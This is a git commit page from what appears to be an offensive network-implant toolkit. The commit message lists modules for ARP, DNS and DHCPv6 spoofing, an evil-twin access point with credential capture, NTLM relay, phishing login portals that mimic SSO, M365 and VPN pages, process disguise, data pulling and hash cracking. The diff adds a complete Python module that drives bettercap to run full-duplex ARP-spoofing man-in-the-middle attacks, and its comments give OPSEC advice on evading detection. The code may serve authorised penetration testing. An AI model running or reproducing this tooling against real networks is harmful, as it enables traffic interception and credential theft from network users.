Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/): - bettercap_mgr: Central bettercap orchestrator with REST API health monitoring, event stream parsing, crash recovery with corrective gratuitous ARPs, caplet management, and process disguise - arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings - dns_poison: DNS poisoning with zone template loading support - dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection - evil_twin: hostapd-based rogue AP with captive portal and dnsmasq, iptables redirect, credential capture via HTTP POST handler - ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse - responder_mgr: Responder subprocess manager with hash file monitoring, NTLMv1/v2 parsing, session log scanning, relay target coordination - mitmproxy_mgr: Transparent proxy with addon scripts, tier checking (OPi Zero 3+ only), iptables setup, credential/token extraction - ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP, LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS Templates (9 files): - 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN (self-contained HTML with inline CSS, realistic login forms) - 2 DNS zones: redirect-all and selective Jinja2 template - 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates - 1 Responder.conf Jinja2 template with protocol toggles Operator scripts (6 files in scripts/operator/): - pull_data.sh: rsync structured data over WireGuard/Tailscale - extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction - extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert - extract_emails.sh: SMTP email extraction with attachment detection - crack_hashes.sh: Export creds to hashcat format, optional auto-crack - generate_report.py: SQLite-to-Markdown/HTML engagement report generator
This commit is contained in:
@@ -0,0 +1,184 @@
|
||||
#!/usr/bin/env python3
|
||||
"""ARP Spoofing module — thin wrapper around bettercap arp.spoof.
|
||||
|
||||
OPSEC WARNING: ARP spoofing is the most-detected active MITM technique.
|
||||
- Dynamic ARP Inspection (DAI) on managed switches silently prevents it.
|
||||
- EDR/NDR solutions alert within minutes.
|
||||
- Prefer Responder + IPv6 SLAAC for initial access.
|
||||
- Reserve ARP spoofing for confirmed legacy/unmanaged segments.
|
||||
- Always run ids_tester DAI probe first to check viability.
|
||||
|
||||
Configures targets + gateway, then delegates to BettercapManager to
|
||||
enable arp.spoof module. Full-duplex by default for complete MITM.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger("bb.active.arp_spoof")
|
||||
|
||||
|
||||
class ARPSpoof(BaseModule):
|
||||
"""ARP spoofing via bettercap — full-duplex MITM.
|
||||
|
||||
Dependencies:
|
||||
- bettercap_mgr must be running.
|
||||
|
||||
Configuration:
|
||||
targets: Comma-separated target IPs or CIDR (e.g., "10.0.0.0,10.0.0.0")
|
||||
gateway: Gateway IP to spoof (e.g., "10.0.0.0")
|
||||
fullduplex: True for bidirectional spoofing (default True)
|
||||
internal: Spoof between targets, not just target<->gateway (default False)
|
||||
"""
|
||||
|
||||
name = "arp_spoof"
|
||||
module_type = "active"
|
||||
priority = 200
|
||||
requires_root = True
|
||||
dependencies = ["bettercap_mgr"]
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._bettercap_mgr = None
|
||||
self._targets: Optional[str] = None
|
||||
self._gateway: Optional[str] = None
|
||||
self._fullduplex = True
|
||||
self._internal = False
|
||||
self._spoofing = False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||
if not self._bettercap_mgr:
|
||||
logger.error("ARPSpoof requires bettercap_mgr reference in config")
|
||||
return
|
||||
|
||||
# Check if ARP was disabled by crash recovery
|
||||
if hasattr(self._bettercap_mgr, '_arp_disabled_by_crash'):
|
||||
if self._bettercap_mgr._arp_disabled_by_crash:
|
||||
logger.error(
|
||||
"ARP spoofing disabled by crash recovery — "
|
||||
"bettercap crashed too many times with ARP spoof active"
|
||||
)
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("ARPSpoof module started (ready for spoof commands)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
if self._spoofing:
|
||||
self.stop_spoof()
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ARPSpoof module stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"spoofing": self._spoofing,
|
||||
"targets": self._targets,
|
||||
"gateway": self._gateway,
|
||||
"fullduplex": self._fullduplex,
|
||||
"internal": self._internal,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "fullduplex" in config:
|
||||
self._fullduplex = config["fullduplex"]
|
||||
if "internal" in config:
|
||||
self._internal = config["internal"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def spoof(self, targets: str, gateway: str) -> bool:
|
||||
"""Enable ARP spoofing for specified targets and gateway.
|
||||
|
||||
Args:
|
||||
targets: Comma-separated target IPs or CIDR.
|
||||
gateway: Gateway IP address.
|
||||
|
||||
Returns:
|
||||
True if spoofing was enabled successfully.
|
||||
"""
|
||||
if not self._running or not self._bettercap_mgr:
|
||||
logger.error("ARPSpoof not started")
|
||||
return False
|
||||
|
||||
if self._bettercap_mgr._arp_disabled_by_crash:
|
||||
logger.error("ARP spoofing disabled — bettercap crash threshold exceeded")
|
||||
return False
|
||||
|
||||
try:
|
||||
# Configure ARP spoof parameters
|
||||
self._bettercap_mgr.run_command(f"set arp.spoof.targets {targets}")
|
||||
self._bettercap_mgr.run_command(
|
||||
f"set arp.spoof.fullduplex {'true' if self._fullduplex else 'false'}"
|
||||
)
|
||||
self._bettercap_mgr.run_command(
|
||||
f"set arp.spoof.internal {'true' if self._internal else 'false'}"
|
||||
)
|
||||
|
||||
# Enable ARP spoofing
|
||||
self._bettercap_mgr.run_command("arp.spoof on")
|
||||
|
||||
self._targets = targets
|
||||
self._gateway = gateway
|
||||
self._spoofing = True
|
||||
|
||||
# Inform bettercap_mgr for crash recovery tracking
|
||||
self._bettercap_mgr.set_spoofing_state(True, targets, gateway)
|
||||
|
||||
self.state.set(self.name, "targets", targets)
|
||||
self.state.set(self.name, "gateway", gateway)
|
||||
logger.info("ARP spoofing enabled: targets=%s, gateway=%s", targets, gateway)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to enable ARP spoofing")
|
||||
return False
|
||||
|
||||
def stop_spoof(self) -> bool:
|
||||
"""Disable ARP spoofing and send corrective ARPs.
|
||||
|
||||
Returns:
|
||||
True if spoofing was stopped successfully.
|
||||
"""
|
||||
if not self._bettercap_mgr:
|
||||
return False
|
||||
|
||||
try:
|
||||
self._bettercap_mgr.run_command("arp.spoof off")
|
||||
self._spoofing = False
|
||||
self._bettercap_mgr.set_spoofing_state(False)
|
||||
|
||||
self.state.set(self.name, "targets", "")
|
||||
self.state.set(self.name, "gateway", "")
|
||||
logger.info("ARP spoofing disabled")
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to disable ARP spoofing")
|
||||
return False
|
||||
Reference in New Issue
Block a user